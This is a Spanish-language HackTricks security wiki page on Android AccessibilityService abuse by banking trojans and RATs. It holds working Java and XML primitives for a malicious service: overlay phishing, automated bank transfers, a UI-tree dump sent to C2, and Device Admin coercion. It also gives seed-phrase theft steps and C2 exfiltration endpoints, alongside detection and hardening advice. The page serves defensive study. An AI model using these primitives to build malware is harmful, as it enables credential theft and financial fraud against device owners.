12 KiB
Abuso del Accessibility Service en Android
{{#include ../../banners/hacktricks-training.md}}
Resumen
AccessibilityService
fue creado para ayudar a usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas potentes APIs de automatización (navegación global, entrada de texto, envío de gestos, ventanas overlay…) pueden ser aprovechadas por malware para obtener control remoto completo del dispositivo sin privilegios de root.
Los troyanos bancarios modernos para Android y los Remote-Access-Trojans (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda y muchos otros siguen la misma receta:
- Social-engineer a la víctima para que habilite un servicio de accessibility malicioso (el permiso BIND_ACCESSIBILITY_SERVICE se considera "de alto riesgo" y requiere una acción explícita del usuario).
- Aprovechar el servicio para
- capturar cada evento de UI y texto que aparece en pantalla,
- inyectar gestos sintéticos (
dispatchGesture
) y acciones globales (performGlobalAction
) para automatizar cualquier tarea que el operador desee, - dibujar overlays a pantalla completa sobre apps legítimas usando el tipo de ventana TYPE_ACCESSIBILITY_OVERLAY (¡sin el prompt de
SYSTEM_ALERT_WINDOW
!), - conceder silenciosamente permisos runtime adicionales haciendo clic en los diálogos del sistema en nombre de la víctima.
- Exfiltrar datos o realizar On-Device-Fraud (ODF) en tiempo real mientras el usuario está viendo una pantalla perfectamente normal.
Solicitar el permiso
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
El XML complementario define cómo se verá el diálogo falso:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivas de automatización de UI remota
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Con solo estas dos APIs un atacante puede:
- Desbloquear la pantalla, abrir la app bancaria, navegar su árbol de UI y enviar un formulario de transferencia.
- Aceptar cada diálogo de permisos que aparezca.
- Instalar/actualizar APKs adicionales vía el intent de Play Store.
Patrones de abuso
1. Overlay Phishing (Credential Harvesting)
Se añade un WebView
transparente u opaco al window manager:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
La víctima escribe credenciales en el formulario falso mientras la app en segundo plano recibe los mismos gestos: nunca se muestra el sospechoso aviso "draw over other apps".
Ejemplo detallado: la sección Accessibility Overlay Phishing dentro de la página Tapjacking.
2. Automatización de fraude en el dispositivo
Familias de malware como PlayPraetor mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (init
, update
, alert_arr
, report_list
, …). El servicio traduce esos comandos en los gestos de bajo nivel descritos arriba, logrando transacciones no autorizadas en tiempo real que eluden fácilmente la autenticación multifactor ligada a ese mismo dispositivo.
3. Transmisión y monitorización de pantalla
Combinando la MediaProjection API con una librería cliente RTMP, el RAT puede emitir el framebuffer en vivo a rtmp://<c2>:1935/live/<device_id>
, dando al adversario una conciencia situacional perfecta mientras el motor de Accessibility maneja la interfaz de usuario.
PlayPraetor – flujo de trabajo de command & control
- HTTP(S) heartbeat – iterar sobre una lista codificada hasta que un dominio responda
POST /app/searchPackageName
con el C2 activo. - WebSocket (port 8282) – comandos JSON bidireccionales:
update
– enviar nuevas conf/APKsalert_arr
– configurar plantillas de overlayreport_list
– enviar lista de nombres de paquetes objetivoheartbeat_web
– mantener la conexión
- RTMP (port 1935) – transmisión de pantalla/video en vivo.
- REST exfiltration –
/app/saveDevice
(huella)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(credenciales bancarias)
El AccessibilityService es el motor local que convierte esos comandos en la nube en interacciones físicas.
Detectando servicios de accesibilidad maliciosos
adb shell settings get secure enabled_accessibility_services
- Ajustes → Accesibilidad → Servicios descargados – busca apps que no provengan de Google Play.
- Las soluciones MDM / EMM pueden imponer
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) para bloquear servicios instalados fuera de Google Play. - Analiza los servicios en ejecución:
adb shell dumpsys accessibility | grep "Accessibility Service"
Recomendaciones de hardening para desarrolladores de apps
- Marcar vistas sensibles con
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combina
setFilterTouchesWhenObscured(true)
conFLAG_SECURE
para prevenir tap/overlay hijacking. - Detecta overlays consultando
WindowManager.getDefaultDisplay().getFlags()
o la APIViewRootImpl
. - Rechaza operar cuando
Settings.canDrawOverlays()
o un Accessibility service no confiable esté activo.
Hoja rápida de automatización ATS (Accessibility-driven)
El malware puede automatizar por completo una app bancaria con solo las Accessibility APIs. Primitivas genéricas:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Flujo de ejemplo (checo → etiquetas en inglés):
- "Nová platba" (Nuevo pago) → hacer clic
- "Zadat platbu" (Ingresar pago) → hacer clic
- "Nový příjemce" (Nuevo destinatario) → hacer clic
- "Domácí číslo účtu" (Número de cuenta nacional) → enfocar y
ACTION_SET_TEXT
- "Další" (Siguiente) → hacer clic → … "Zaplatit" (Pagar) → hacer clic → introducir PIN
Fallback: coordenadas codificadas con dispatchGesture
cuando la búsqueda de texto falla debido a widgets personalizados.
También observado: pasos previos a check_limit
y limit
navegando a la UI de límites y aumentando los límites diarios antes de la transferencia.
Pseudo-transmisión de pantalla basada en texto
Para control remoto de baja latencia, en lugar de transmisión de video completa, volcar una representación textual del árbol de la interfaz de usuario actual y enviarla repetidamente al C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Esta es la base para comandos como txt_screen
(one-shot) y screen_live
(continuous).
Primitivas de coerción de Device Admin
Una vez que un Device Admin receiver está activado, estas llamadas aumentan las oportunidades de capturar credenciales y mantener el control:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Nota: la disponibilidad exacta de estas políticas varía según la versión de Android y el OEM; valida el rol de la política del dispositivo (admin vs owner) durante las pruebas.
Patrones de extracción de seed-phrases de crypto wallets
Flujos observados para MetaMask, Trust Wallet, Blockchain.com y Phantom:
- Desbloquear con PIN robado (capturado vía overlay/Accessibility) o con la contraseña de wallet proporcionada.
- Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Recopilar la phrase mediante keylogging de los nodos de texto, secure-screen bypass, o screenshot OCR cuando el texto esté oculto.
- Soportar múltiples locales (EN/RU/CZ/SK) para estabilizar selectores – preferir
viewIdResourceName
cuando esté disponible, y en su defecto recurrir a coincidencia de texto multilingüe.
Orquestación de NFC-relay
Módulos Accessibility/RAT pueden instalar y lanzar una app dedicada de NFC-relay (p. ej., NFSkate) como tercera etapa e incluso inyectar una guía overlay para conducir a la víctima a través de los pasos de relay con tarjeta presente.
Contexto y TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
Referencias
- La amenaza evolutiva de PlayPraetor: How Chinese-speaking actors globally scale an Android RAT
- Documentación de Android Accessibility – Automating UI interaction
- El auge de RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
{{#include ../../banners/hacktricks-training.md}}